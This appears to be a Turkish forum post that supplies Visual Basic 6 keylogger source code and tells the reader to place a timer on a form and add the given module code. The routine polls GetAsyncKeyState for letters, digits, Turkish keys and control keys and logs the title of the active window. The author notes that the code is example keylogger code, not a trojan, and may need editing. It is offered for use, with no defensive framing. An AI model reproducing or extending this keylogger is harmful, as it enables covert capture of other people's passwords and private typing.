Buldum kodun en önemli kısımlarını aşağıdadır.
forma bir tane timer yerleştir.
Modüle bu kodları yazacaksın:

Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Timer için altıdaki bu kodları yazacaksın:

Private Sub tmrLog_Timer()
Dim ShiftKey, CapsKey As Boolean
ShiftKey = GetShiftState
CapsKey = GetCapsState

’Check for alphabet
For i = 65 To 90
keyvalue = GetAsyncKeyState(i)
If keyvalue = -32767 Then
If (CapsKey = True And ShiftKey = False) Or (CapsKey = False And ShiftKey = True) Then
txtKeyLog = txtKeyLog & Chr(i)
End If
If (CapsKey = True And ShiftKey = True) Or (CapsKey = False And ShiftKey = False) Then
txtKeyLog = txtKeyLog & LCase(Chr(i))
End If
End If
Next i

’Check for numbers
keyvalue = GetAsyncKeyState(48)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(48)
Else
txtKeyLog = txtKeyLog & ")"
End If
End If

keyvalue = GetAsyncKeyState(49)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(49)
Else
txtKeyLog = txtKeyLog & "!"
End If
End If

keyvalue = GetAsyncKeyState(50)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(50)
Else
txtKeyLog = txtKeyLog & "@"
End If
End If

keyvalue = GetAsyncKeyState(51)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(51)
Else
txtKeyLog = txtKeyLog & "#"
End If
End If

keyvalue = GetAsyncKeyState(52)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(52)
Else
txtKeyLog = txtKeyLog & "$"
End If
End If

keyvalue = GetAsyncKeyState(53)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(53)
Else
txtKeyLog = txtKeyLog & "%"
End If
End If

keyvalue = GetAsyncKeyState(54)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(54)
Else
txtKeyLog = txtKeyLog & "^"
End If
End If

keyvalue = GetAsyncKeyState(55)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(55)
Else
txtKeyLog = txtKeyLog & "&"
End If
End If

keyvalue = GetAsyncKeyState(56)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(56)
Else
txtKeyLog = txtKeyLog & "*"
End If
End If

keyvalue = GetAsyncKeyState(57)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & Chr(57)
Else
txtKeyLog = txtKeyLog & "("
End If
End If

’Check for miscellanious keys
keyvalue = GetAsyncKeyState(219)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & "ğ"
Else
txtKeyLog = txtKeyLog & "{"
End If
End If

keyvalue = GetAsyncKeyState(221)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & "ü"
Else
txtKeyLog = txtKeyLog & "}"
End If
End If

keyvalue = GetAsyncKeyState(220)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & ""
Else
txtKeyLog = txtKeyLog & "|"
End If
End If

keyvalue = GetAsyncKeyState(186)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & ";"
Else
txtKeyLog = txtKeyLog & ":"
End If
End If

keyvalue = GetAsyncKeyState(222)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & "’"
Else
txtKeyLog = txtKeyLog & """"
End If
End If

keyvalue = GetAsyncKeyState(188)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & ","
Else
txtKeyLog = txtKeyLog & "<"
End If
End If

keyvalue = GetAsyncKeyState(190)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & "."
Else
txtKeyLog = txtKeyLog & ">"
End If
End If

keyvalue = GetAsyncKeyState(191)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & "/"
Else
txtKeyLog = txtKeyLog & "?"
End If
End If

’Check for F1 through F8
For i = 112 To 119
keyvalue = GetAsyncKeyState(i)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{F" & Right(i, 1) - 1 & "}"
End If
Next i

’Check for F9 through F12
For i = 120 To 123
keyvalue = GetAsyncKeyState(i)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{F" & (10 + Right(i, 1)) - 1 & "}"
End If
Next i

’Check for tab key
keyvalue = GetAsyncKeyState(9)
If keyvalue = -32767 Then
If ShiftKey = False Then
txtKeyLog = txtKeyLog & "{TAB ->}"
Else
txtKeyLog = txtKeyLog & "{TAB <-}"
End If
End If

’Check for backspace
keyvalue = GetAsyncKeyState(8)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{BACKSPACE}"
End If

’Check for control
keyvalue = GetAsyncKeyState(17)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{CTRL}"
End If

’Check for alt
keyvalue = GetAsyncKeyState(18)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{ALT}"
End If

’Check for pageup
keyvalue = GetAsyncKeyState(33)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{PGUP}"
End If

’Check for pagedown
keyvalue = GetAsyncKeyState(34)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{PGDN}"
End If

’Check for end
keyvalue = GetAsyncKeyState(35)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{END}"
End If

’Check for home
keyvalue = GetAsyncKeyState(36)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{HOME}"
End If

’Check for delete
keyvalue = GetAsyncKeyState(46)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & "{DEL}"
End If

’Check for a space
keyvalue = GetAsyncKeyState(32)
If keyvalue = -32767 Then
txtKeyLog = txtKeyLog & " "
End If

’Check for open windows
Dim hwnd As Long, hWndLength As Long, hWndTitle As String
hwnd = GetForegroundWindow
hWndLength = GetWindowTextLength(hwnd)
hWndTitle = String$(hWndLength, 0)
Temp = GetWindowText(hwnd, hWndTitle, hWndLength + 1)
If hWndTitle <> LastTitle And hWndTitle <> "" Then
txtKeyLog = txtKeyLog & vbCrLf & "{Aktif Ekran: " & hWndTitle & "}" & vbCrLf
LastTitle = hWndTitle
End If

End Sub


Kodları örnek için verdim düzenleme ve bazı eklemeler yapman gerekebilir.

Bunlar trojan degil keylogger kodları